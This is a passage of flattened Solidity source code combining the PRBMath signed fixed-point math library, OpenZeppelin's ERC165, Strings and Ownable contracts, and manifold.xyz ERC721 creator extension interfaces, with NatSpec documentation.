/// @param result The greatest integer less than or equal to x, as a signed 58.18-decimal fixed-point number. function floor(int256 x) internal pure returns (int256 result) { if (x < MIN_WHOLE_SD59x18) { revert PRBMathSD59x18__FloorUnderflow(x); } unchecked { int256 remainder = x % SCALE; if (remainder == 0) { result = x; } else { // Solidity uses C fmod style, which returns a modulus with the same sign as x. result = x - remainder; if (x < 0) { result -= SCALE; } } } } /// @notice Yields the excess beyond the floor of x for positive numbers and the part of the number to the right /// of the radix point for negative numbers. /// @dev Based on the odd function definition. https://en.wikipedia.org/wiki/Fractional_part /// @param x The signed 59.18-decimal fixed-point number to get the fractional part of. /// @param result The fractional part of x as a signed 59.18-decimal fixed-point number. function frac(int256 x) internal pure returns (int256 result) { unchecked { result = x % SCALE; } } /// @notice Converts a number from basic integer form to signed 59.18-decimal fixed-point representation. /// /// @dev Requirements: /// - x must be greater than or equal to MIN_SD59x18 divided by SCALE. /// - x must be less than or equal to MAX_SD59x18 divided by SCALE. /// /// @param x The basic integer to convert. /// @param result The same number in signed 59.18-decimal fixed-point representation. function fromInt(int256 x) internal pure returns (int256 result) { unchecked { if (x < MIN_SD59x18 / SCALE) { revert PRBMathSD59x18__FromIntUnderflow(x); } if (x > MAX_SD59x18 / SCALE) { revert PRBMathSD59x18__FromIntOverflow(x); } result = x * SCALE; } } /// @notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down. /// /// @dev Requirements: /// - x * y must fit within MAX_SD59x18, lest it overflows. /// - x * y cannot be negative. /// /// @param x The first operand as a signed 59.18-decimal fixed-point number. /// @param y The second operand as a signed 59.18-decimal fixed-point number. /// @return result The result as a signed 59.18-decimal fixed-point number. function gm(int256 x, int256 y) internal pure returns (int256 result) { if (x == 0) { return 0; } unchecked { // Checking for overflow this way is faster than letting Solidity do it. int256 xy = x * y; if (xy / x != y) { revert PRBMathSD59x18__GmOverflow(x, y); } // The product cannot be negative. if (xy < 0) { revert PRBMathSD59x18__GmNegativeProduct(x, y); } // We don't need to multiply by the SCALE here because the x*y product had already picked up a factor of SCALE // during multiplication. See the comments within the "sqrt" function. result = int256(PRBMath.sqrt(uint256(xy))); } } /// @notice Calculates 1 / x, rounding toward zero. /// /// @dev Requirements: /// - x cannot be zero. /// /// @param x The signed 59.18-decimal fixed-point number for which to calculate the inverse. /// @return result The inverse as a signed 59.18-decimal fixed-point number. function inv(int256 x) internal pure returns (int256 result) { unchecked { // 1e36 is SCALE * SCALE. result = 1e36 / x; } } /// @notice Calculates the natural logarithm of x. /// /// @dev Based on the insight that ln(x) = log2(x) / log2(e). /// /// Requirements: /// - All from "log2". /// /// Caveats: /// - All from "log2". /// - This doesn't return exactly 1 for 2718281828459045235, for that we would need more fine-grained precision. /// /// @param x The signed 59.18-decimal fixed-point number for which to calculate the natural logarithm. /// @return result The natural logarithm as a signed 59.18-decimal fixed-point number. function ln(int256 x) internal pure returns (int256 result) { // Do the fixed-point multiplication inline to save gas. This is overflow-safe because the maximum value that log2(x) // can return is 195205294292027477728. unchecked { result = (log2(x) * SCALE) / LOG2_E; } } /// @notice Calculates the common logarithm of x. /// /// @dev First checks if x is an exact power of ten and it stops if yes. If it's not, calculates the common /// logarithm based on the insight that log10(x) = log2(x) / log2(10). /// /// Requirements: /// - All from "log2". /// /// Caveats: /// - All from "log2". /// /// @param x The signed 59.18-decimal fixed-point number for which to calculate the common logarithm. /// @return result The common logarithm as a signed 59.18-decimal fixed-point number. function log10(int256 x) internal pure returns (int256 result) { if (x <= 0) { revert PRBMathSD59x18__LogInputTooSmall(x); } // Note that the "mul" in this block is the assembly mul operation, not the "mul" function defined in this contract. // prettier-ignore assembly { switch x case 1 { result := mul(SCALE, sub(0, 18)) } case 10 { result := mul(SCALE, sub(1, 18)) } case 100 { result := mul(SCALE, sub(2, 18)) } case 1000 { result := mul(SCALE, sub(3, 18)) } case 10000 { result := mul(SCALE, sub(4, 18)) } case 100000 { result := mul(SCALE, sub(5, 18)) } case 1000000 { result := mul(SCALE, sub(6, 18)) } case 10000000 { result := mul(SCALE, sub(7, 18)) } case 100000000 { result := mul(SCALE, sub(8, 18)) } case 1000000000 { result := mul(SCALE, sub(9, 18)) } case 10000000000 { result := mul(SCALE, sub(10, 18)) } case 100000000000 { result := mul(SCALE, sub(11, 18)) } case 1000000000000 { result := mul(SCALE, sub(12, 18)) } case 10000000000000 { result := mul(SCALE, sub(13, 18)) } case 100000000000000 { result := mul(SCALE, sub(14, 18)) } case 1000000000000000 { result := mul(SCALE, sub(15, 18)) } case 10000000000000000 { result := mul(SCALE, sub(16, 18)) } case 100000000000000000 { result := mul(SCALE, sub(17, 18)) } case 1000000000000000000 { result := 0 } case 10000000000000000000 { result := SCALE } case 100000000000000000000 { result := mul(SCALE, 2) } case 1000000000000000000000 { result := mul(SCALE, 3) } case 10000000000000000000000 { result := mul(SCALE, 4) } case 100000000000000000000000 { result := mul(SCALE, 5) } case 1000000000000000000000000 { result := mul(SCALE, 6) } case 10000000000000000000000000 { result := mul(SCALE, 7) } case 100000000000000000000000000 { result := mul(SCALE, 8) } case 1000000000000000000000000000 { result := mul(SCALE, 9) } case 10000000000000000000000000000 { result := mul(SCALE, 10) } case 100000000000000000000000000000 { result := mul(SCALE, 11) } case 1000000000000000000000000000000 { result := mul(SCALE, 12) } case 10000000000000000000000000000000 { result := mul(SCALE, 13) } case 100000000000000000000000000000000 { result := mul(SCALE, 14) } case 1000000000000000000000000000000000 { result := mul(SCALE, 15) } case 10000000000000000000000000000000000 { result := mul(SCALE, 16) } case 100000000000000000000000000000000000 { result := mul(SCALE, 17) } case 1000000000000000000000000000000000000 { result := mul(SCALE, 18) } case 10000000000000000000000000000000000000 { result := mul(SCALE, 19) } case 100000000000000000000000000000000000000 { result := mul(SCALE, 20) } case 1000000000000000000000000000000000000000 { result := mul(SCALE, 21) } case 10000000000000000000000000000000000000000 { result := mul(SCALE, 22) } case 100000000000000000000000000000000000000000 { result := mul(SCALE, 23) } case 1000000000000000000000000000000000000000000 { result := mul(SCALE, 24) } case 10000000000000000000000000000000000000000000 { result := mul(SCALE, 25) } case 100000000000000000000000000000000000000000000 { result := mul(SCALE, 26) } case 1000000000000000000000000000000000000000000000 { result := mul(SCALE, 27) } case 10000000000000000000000000000000000000000000000 { result := mul(SCALE, 28) } case 100000000000000000000000000000000000000000000000 { result := mul(SCALE, 29) } case 1000000000000000000000000000000000000000000000000 { result := mul(SCALE, 30) } case 10000000000000000000000000000000000000000000000000 { result := mul(SCALE, 31) } case 100000000000000000000000000000000000000000000000000 { result := mul(SCALE, 32) } case 1000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 33) } case 10000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 34) } case 100000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 35) } case 1000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 36) } case 10000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 37) } case 100000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 38) } case 1000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 39) } case 10000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 40) } case 100000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 41) } case 1000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 42) } case 10000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 43) } case 100000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 44) } case 1000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 45) } case 10000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 46) } case 100000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 47) } case 1000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 48) } case 10000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 49) } case 100000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 50) } case 1000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 51) } case 10000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 52) } case 100000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 53) } case 1000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 54) } case 10000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 55) } case 100000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 56) } case 1000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 57) } case 10000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 58) } default { result := MAX_SD59x18 } } if (result == MAX_SD59x18) { // Do the fixed-point division inline to save gas. The denominator is log2(10). unchecked { result = (log2(x) * SCALE) / 3_321928094887362347; } } } /// @notice Calculates the binary logarithm of x. /// /// @dev Based on the iterative approximation algorithm. /// https://en.wikipedia.org/wiki/Binary_logarithm#Iterative_approximation /// /// Requirements: /// - x must be greater than zero. /// /// Caveats: /// - The results are not perfectly accurate to the last decimal, due to the lossy precision of the iterative approximation. /// /// @param x The signed 59.18-decimal fixed-point number for which to calculate the binary logarithm. /// @return result The binary logarithm as a signed 59.18-decimal fixed-point number. function log2(int256 x) internal pure returns (int256 result) { if (x <= 0) { revert PRBMathSD59x18__LogInputTooSmall(x); } unchecked { // This works because log2(x) = -log2(1/x). int256 sign; if (x >= SCALE) { sign = 1; } else { sign = -1; // Do the fixed-point inversion inline to save gas. The numerator is SCALE * SCALE. assembly { x := div(1000000000000000000000000000000000000, x) } } // Calculate the integer part of the logarithm and add it to the result and finally calculate y = x * 2^(-n). uint256 n = PRBMath.mostSignificantBit(uint256(x / SCALE)); // The integer part of the logarithm as a signed 59.18-decimal fixed-point number. The operation can't overflow // because n is maximum 255, SCALE is 1e18 and sign is either 1 or -1. result = int256(n) * SCALE; // This is y = x * 2^(-n). int256 y = x >> n; // If y = 1, the fractional part is zero. if (y == SCALE) { return result * sign; } // Calculate the fractional part via the iterative approximation. // The "delta >>= 1" part is equivalent to "delta /= 2", but shifting bits is faster. for (int256 delta = int256(HALF_SCALE); delta > 0; delta >>= 1) { y = (y * y) / SCALE; // Is y^2 > 2 and so in the range [2,4)? if (y >= 2 * SCALE) { // Add the 2^(-m) factor to the logarithm. result += delta; // Corresponds to z/2 on Wikipedia. y >>= 1; } } result *= sign; } } /// @notice Multiplies two signed 59.18-decimal fixed-point numbers together, returning a new signed 59.18-decimal /// fixed-point number. /// /// @dev Variant of "mulDiv" that works with signed numbers and employs constant folding, i.e. the denominator is /// always 1e18. /// /// Requirements: /// - All from "PRBMath.mulDivFixedPoint". /// - None of the inputs can be MIN_SD59x18 /// - The result must fit within MAX_SD59x18. /// /// Caveats: /// - The body is purposely left uncommented; see the NatSpec comments in "PRBMath.mulDiv" to understand how this works. /// /// @param x The multiplicand as a signed 59.18-decimal fixed-point number. /// @param y The multiplier as a signed 59.18-decimal fixed-point number. /// @return result The product as a signed 59.18-decimal fixed-point number. function mul(int256 x, int256 y) internal pure returns (int256 result) { if (x == MIN_SD59x18 || y == MIN_SD59x18) { revert PRBMathSD59x18__MulInputTooSmall(); } unchecked { uint256 ax; uint256 ay; ax = x < 0 ? uint256(-x) : uint256(x); ay = y < 0 ? uint256(-y) : uint256(y); uint256 rAbs = PRBMath.mulDivFixedPoint(ax, ay); if (rAbs > uint256(MAX_SD59x18)) { revert PRBMathSD59x18__MulOverflow(rAbs); } uint256 sx; uint256 sy; assembly { sx := sgt(x, sub(0, 1)) sy := sgt(y, sub(0, 1)) } result = sx ^ sy == 1 ? -int256(rAbs) : int256(rAbs); } } /// @notice Returns PI as a signed 59.18-decimal fixed-point number. function pi() internal pure returns (int256 result) { result = 3_141592653589793238; } /// @notice Raises x to the power of y. /// /// @dev Based on the insight that x^y = 2^(log2(x) * y). /// /// Requirements: /// - All from "exp2", "log2" and "mul". /// - z cannot be zero. /// /// Caveats: /// - All from "exp2", "log2" and "mul". /// - Assumes 0^0 is 1. /// /// @param x Number to raise to given power y, as a signed 59.18-decimal fixed-point number. /// @param y Exponent to raise x to, as a signed 59.18-decimal fixed-point number. /// @return result x raised to power y, as a signed 59.18-decimal fixed-point number. function pow(int256 x, int256 y) internal pure returns (int256 result) { if (x == 0) { result = y == 0 ? SCALE : int256(0); } else { result = exp2(mul(log2(x), y)); } } /// @notice Raises x (signed 59.18-decimal fixed-point number) to the power of y (basic unsigned integer) using the /// famous algorithm "exponentiation by squaring". /// /// @dev See https://en.wikipedia.org/wiki/Exponentiation_by_squaring /// /// Requirements: /// - All from "abs" and "PRBMath.mulDivFixedPoint". /// - The result must fit within MAX_SD59x18. /// /// Caveats: /// - All from "PRBMath.mulDivFixedPoint". /// - Assumes 0^0 is 1. /// /// @param x The base as a signed 59.18-decimal fixed-point number. /// @param y The exponent as an uint256. /// @return result The result as a signed 59.18-decimal fixed-point number. function powu(int256 x, uint256 y) internal pure returns (int256 result) { uint256 xAbs = uint256(abs(x)); // Calculate the first iteration of the loop in advance. uint256 rAbs = y & 1 > 0 ? xAbs : uint256(SCALE); // Equivalent to "for(y /= 2; y > 0; y /= 2)" but faster. uint256 yAux = y; for (yAux >>= 1; yAux > 0; yAux >>= 1) { xAbs = PRBMath.mulDivFixedPoint(xAbs, xAbs); // Equivalent to "y % 2 == 1" but faster. if (yAux & 1 > 0) { rAbs = PRBMath.mulDivFixedPoint(rAbs, xAbs); } } // The result must fit within the 59.18-decimal fixed-point representation. if (rAbs > uint256(MAX_SD59x18)) { revert PRBMathSD59x18__PowuOverflow(rAbs); } // Is the base negative and the exponent an odd number? bool isNegative = x < 0 && y & 1 == 1; result = isNegative ? -int256(rAbs) : int256(rAbs); } /// @notice Returns 1 as a signed 59.18-decimal fixed-point number. function scale() internal pure returns (int256 result) { result = SCALE; } /// @notice Calculates the square root of x, rounding down. /// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. /// /// Requirements: /// - x cannot be negative. /// - x must be less than MAX_SD59x18 / SCALE. /// /// @param x The signed 59.18-decimal fixed-point number for which to calculate the square root. /// @return result The result as a signed 59.18-decimal fixed-point . function sqrt(int256 x) internal pure returns (int256 result) { unchecked { if (x < 0) { revert PRBMathSD59x18__SqrtNegativeInput(x); } if (x > MAX_SD59x18 / SCALE) { revert PRBMathSD59x18__SqrtOverflow(x); } // Multiply x by the SCALE to account for the factor of SCALE that is picked up when multiplying two signed // 59.18-decimal fixed-point numbers together (in this case, those two numbers are both the square root). result = int256(PRBMath.sqrt(uint256(x * SCALE))); } } /// @notice Converts a signed 59.18-decimal fixed-point number to basic integer form, rounding down in the process. /// @param x The signed 59.18-decimal fixed-point number to convert. /// @return result The same number in basic integer form. function toInt(int256 x) internal pure returns (int256 result) { unchecked { result = x / SCALE; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ERC721SingleCreatorExtensionBase.sol"; /** * @dev Extension that only uses a single creator contract instance */ abstract contract ERC721SingleCreatorExtension is ERC721SingleCreatorExtensionBase { constructor(address creator) { _setCreator(creator); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Implement this if you want your extension to have overloadable URI's */ interface ICreatorExtensionTokenURI is IERC165 { /** * Get the uri for a given creator/tokenId */ function tokenURI(address creator, uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Base creator extension variables */ abstract contract CreatorExtension is ERC165 { /** * @dev Legacy extension interface identifiers * * {IERC165-supportsInterface} needs to return 'true' for this interface * in order backwards compatible with older creator contracts */ bytes4 constant internal LEGACY_EXTENSION_INTERFACE = 0x7005caad; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165) returns (bool) { return interfaceId == LEGACY_EXTENSION_INTERFACE || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ICreatorCore.sol"; /** * @dev Core ERC721 creator interface */ interface IERC721CreatorCore is ICreatorCore { /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to) external returns (uint256); /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to) external returns (uint256); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenIds minted */ function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev burn a token. Can only be called by token owner or approved address. * On burn, calls back to the registered extension's onBurn method */ function burn(uint256 tokenId) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: Unlicense pragma solidity >=0.8.4; /// @notice Emitted when the result overflows uint256. error PRBMath__MulDivFixedPointOverflow(uint256 prod1); /// @notice Emitted when the result overflows uint256. error PRBMath__MulDivOverflow(uint256 prod1, uint256 denominator); /// @notice Emitted when one of the inputs is type(int256).min. error PRBMath__MulDivSignedInputTooSmall(); /// @notice Emitted when the intermediary absolute result overflows int256. error PRBMath__MulDivSignedOverflow(uint256 rAbs); /// @notice Emitted when the input is MIN_SD59x18. error PRBMathSD59x18__AbsInputTooSmall(); /// @notice Emitted when ceiling a number overflows SD59x18. error PRBMathSD59x18__CeilOverflow(int256 x); /// @notice Emitted when one of the inputs is MIN_SD59x18. error PRBMathSD59x18__DivInputTooSmall(); /// @notice Emitted when one of the intermediary unsigned results overflows SD59x18. error PRBMathSD59x18__DivOverflow(uint256 rAbs); /// @notice Emitted when the input is greater than 133.084258667509499441. error PRBMathSD59x18__ExpInputTooBig(int256 x); /// @notice Emitted when the input is greater than 192. error PRBMathSD59x18__Exp2InputTooBig(int256 x); /// @notice Emitted when flooring a number underflows SD59x18. error PRBMathSD59x18__FloorUnderflow(int256 x); /// @notice Emitted when converting a basic integer to the fixed-point format overflows SD59x18. error PRBMathSD59x18__FromIntOverflow(int256 x); /// @notice Emitted when converting a basic integer to the fixed-point format underflows SD59x18. error PRBMathSD59x18__FromIntUnderflow(int256 x); /// @notice Emitted when the product of the inputs is negative. error PRBMathSD59x18__GmNegativeProduct(int256 x, int256 y); /// @notice Emitted when multiplying the inputs overflows SD59x18. error PRBMathSD59x18__GmOverflow(int256 x, int256 y); /// @notice Emitted when the input is less than or equal to zero. error PRBMathSD59x18__LogInputTooSmall(int256 x); /// @notice Emitted when one of the inputs is MIN_SD59x18. error PRBMathSD59x18__MulInputTooSmall(); /// @notice Emitted when the intermediary absolute result overflows SD59x18. error PRBMathSD59x18__MulOverflow(uint256 rAbs); /// @notice Emitted when the intermediary absolute result overflows SD59x18. error PRBMathSD59x18__PowuOverflow(uint256 rAbs); /// @notice Emitted when the input is negative. error PRBMathSD59x18__SqrtNegativeInput(int256 x); /// @notice Emitted when the calculating the square root overflows SD59x18. error PRBMathSD59x18__SqrtOverflow(int256 x); /// @notice Emitted when addition overflows UD60x18. error PRBMathUD60x18__AddOverflow(uint256 x, uint256 y); /// @notice Emitted when ceiling a number overflows UD60x18. error PRBMathUD60x18__CeilOverflow(uint256 x); /// @notice Emitted when the input is greater than 133.084258667509499441. error PRBMathUD60x18__ExpInputTooBig(uint256 x); /// @notice Emitted when the input is greater than 192. error PRBMathUD60x18__Exp2InputTooBig(uint256 x); /// @notice Emitted when converting a basic integer to the fixed-point format format overflows UD60x18. error PRBMathUD60x18__FromUintOverflow(uint256 x); /// @notice Emitted when multiplying the inputs overflows UD60x18. error PRBMathUD60x18__GmOverflow(uint256 x, uint256 y); /// @notice Emitted when the input is less than 1. error PRBMathUD60x18__LogInputTooSmall(uint256 x); /// @notice Emitted when the calculating the square root overflows UD60x18. error PRBMathUD60x18__SqrtOverflow(uint256 x); /// @notice Emitted when subtraction underflows UD60x18. error PRBMathUD60x18__SubUnderflow(uint256 x, uint256 y); /// @dev Common mathematical functions used in both PRBMathSD59x18 and PRBMathUD60x18. Note that this shared library /// does not always assume the signed 59.18-decimal fixed-point or the unsigned 60.18-decimal fixed-point /// representation. When it does not, it is explicitly mentioned in the NatSpec documentation. library PRBMath { /// STRUCTS /// struct SD59x18 { int256 value; } struct UD60x18 { uint256 value; } /// STORAGE /// /// @dev How many trailing decimals can be represented. uint256 internal constant SCALE = 1e18; /// @dev Largest power of two divisor of SCALE. uint256 internal constant SCALE_LPOTD = 262144; /// @dev SCALE inverted mod 2^256. uint256 internal constant SCALE_INVERSE = 78156646155174841979727994598816262306175212592076161876661_508869554232690281; /// FUNCTIONS /// /// @notice Calculates the binary exponent of x using the binary fraction method. /// @dev Has to use 192.64-bit fixed-point numbers. /// See https://ethereum.stackexchange.com/a/96594/24693. /// @param x The exponent as an unsigned 192.64-bit fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function exp2(uint256 x) internal pure returns (uint256 result) { unchecked { // Start from 0.5 in the 192.64-bit fixed-point format. result = 0x800000000000000000000000000000000000000000000000; // Multiply the result by root(2, 2^-i) when the bit at position i is 1. None of the intermediary results overflows // because the initial result is 2^191 and all magic factors are less than 2^65. if (x & 0x8000000000000000 > 0) { result = (result * 0x16A09E667F3BCC909) >> 64; } if (x & 0x4000000000000000 > 0) { result = (result * 0x1306FE0A31B7152DF) >> 64; } if (x & 0x2000000000000000 > 0) { result = (result * 0x1172B83C7D517ADCE) >> 64; } if (x & 0x1000000000000000 > 0) { result = (result * 0x10B5586CF9890F62A) >> 64; } if (x & 0x800000000000000 > 0) { result = (result * 0x1059B0D31585743AE) >> 64; } if (x & 0x400000000000000 > 0) { result = (result * 0x102C9A3E778060EE7) >> 64; } if (x & 0x200000000000000 > 0) { result = (result * 0x10163DA9FB33356D8) >> 64; } if (x & 0x100000000000000 > 0) { result = (result * 0x100B1AFA5ABCBED61) >> 64; } if (x & 0x80000000000000 > 0) { result = (result * 0x10058C86DA1C09EA2) >> 64; } if (x & 0x40000000000000 > 0) { result = (result * 0x1002C605E2E8CEC50) >> 64; } if (x & 0x20000000000000 > 0) { result = (result * 0x100162F3904051FA1) >> 64; } if (x & 0x10000000000000 > 0) { result = (result * 0x1000B175EFFDC76BA) >> 64; } if (x & 0x8000000000000 > 0) { result = (result * 0x100058BA01FB9F96D) >> 64; } if (x & 0x4000000000000 > 0) { result = (result * 0x10002C5CC37DA9492) >> 64; } if (x & 0x2000000000000 > 0) { result = (result * 0x1000162E525EE0547) >> 64; } if (x & 0x1000000000000 > 0) { result = (result * 0x10000B17255775C04) >> 64; } if (x & 0x800000000000 > 0) { result = (result * 0x1000058B91B5BC9AE) >> 64; } if (x & 0x400000000000 > 0) { result = (result * 0x100002C5C89D5EC6D) >> 64; } if (x & 0x200000000000 > 0) { result = (result * 0x10000162E43F4F831) >> 64; } if (x & 0x100000000000 > 0) { result = (result * 0x100000B1721BCFC9A) >> 64; } if (x & 0x80000000000 > 0) { result = (result * 0x10000058B90CF1E6E) >> 64; } if (x & 0x40000000000 > 0) { result = (result * 0x1000002C5C863B73F) >> 64; } if (x & 0x20000000000 > 0) { result = (result * 0x100000162E430E5A2) >> 64; } if (x & 0x10000000000 > 0) { result = (result * 0x1000000B172183551) >> 64; } if (x & 0x8000000000 > 0) { result = (result * 0x100000058B90C0B49) >> 64; } if (x & 0x4000000000 > 0) { result = (result * 0x10000002C5C8601CC) >> 64; } if (x & 0x2000000000 > 0) { result = (result * 0x1000000162E42FFF0) >> 64; } if (x & 0x1000000000 > 0) { result = (result * 0x10000000B17217FBB) >> 64; } if (x & 0x800000000 > 0) { result = (result * 0x1000000058B90BFCE) >> 64; } if (x & 0x400000000 > 0) { result = (result * 0x100000002C5C85FE3) >> 64; } if (x & 0x200000000 > 0) { result = (result * 0x10000000162E42FF1) >> 64; } if (x & 0x100000000 > 0) { result = (result * 0x100000000B17217F8) >> 64; } if (x & 0x80000000 > 0) { result = (result * 0x10000000058B90BFC) >> 64; } if (x & 0x40000000 > 0) { result = (result * 0x1000000002C5C85FE) >> 64; } if (x & 0x20000000 > 0) { result = (result * 0x100000000162E42FF) >> 64; } if (x & 0x10000000 > 0) { result = (result * 0x1000000000B17217F) >> 64; } if (x & 0x8000000 > 0) { result = (result * 0x100000000058B90C0) >> 64; } if (x & 0x4000000 > 0) { result = (result * 0x10000000002C5C860) >> 64; } if (x & 0x2000000 > 0) { result = (result * 0x1000000000162E430) >> 64; } if (x & 0x1000000 > 0) { result = (result * 0x10000000000B17218) >> 64; } if (x & 0x800000 > 0) { result = (result * 0x1000000000058B90C) >> 64; } if (x & 0x400000 > 0) { result = (result * 0x100000000002C5C86) >> 64; } if (x & 0x200000 > 0) { result = (result * 0x10000000000162E43) >> 64; } if (x & 0x100000 > 0) { result = (result * 0x100000000000B1721) >> 64; } if (x & 0x80000 > 0) { result = (result * 0x10000000000058B91) >> 64; } if (x & 0x40000 > 0) { result = (result * 0x1000000000002C5C8) >> 64; } if (x & 0x20000 > 0) { result = (result * 0x100000000000162E4) >> 64; } if (x & 0x10000 > 0) { result = (result * 0x1000000000000B172) >> 64; } if (x & 0x8000 > 0) { result = (result * 0x100000000000058B9) >> 64; } if (x & 0x4000 > 0) { result = (result * 0x10000000000002C5D) >> 64; } if (x & 0x2000 > 0) { result = (result * 0x1000000000000162E) >> 64; } if (x & 0x1000 > 0) { result = (result * 0x10000000000000B17) >> 64; } if (x & 0x800 > 0) { result = (result * 0x1000000000000058C) >> 64; } if (x & 0x400 > 0) { result = (result * 0x100000000000002C6) >> 64; 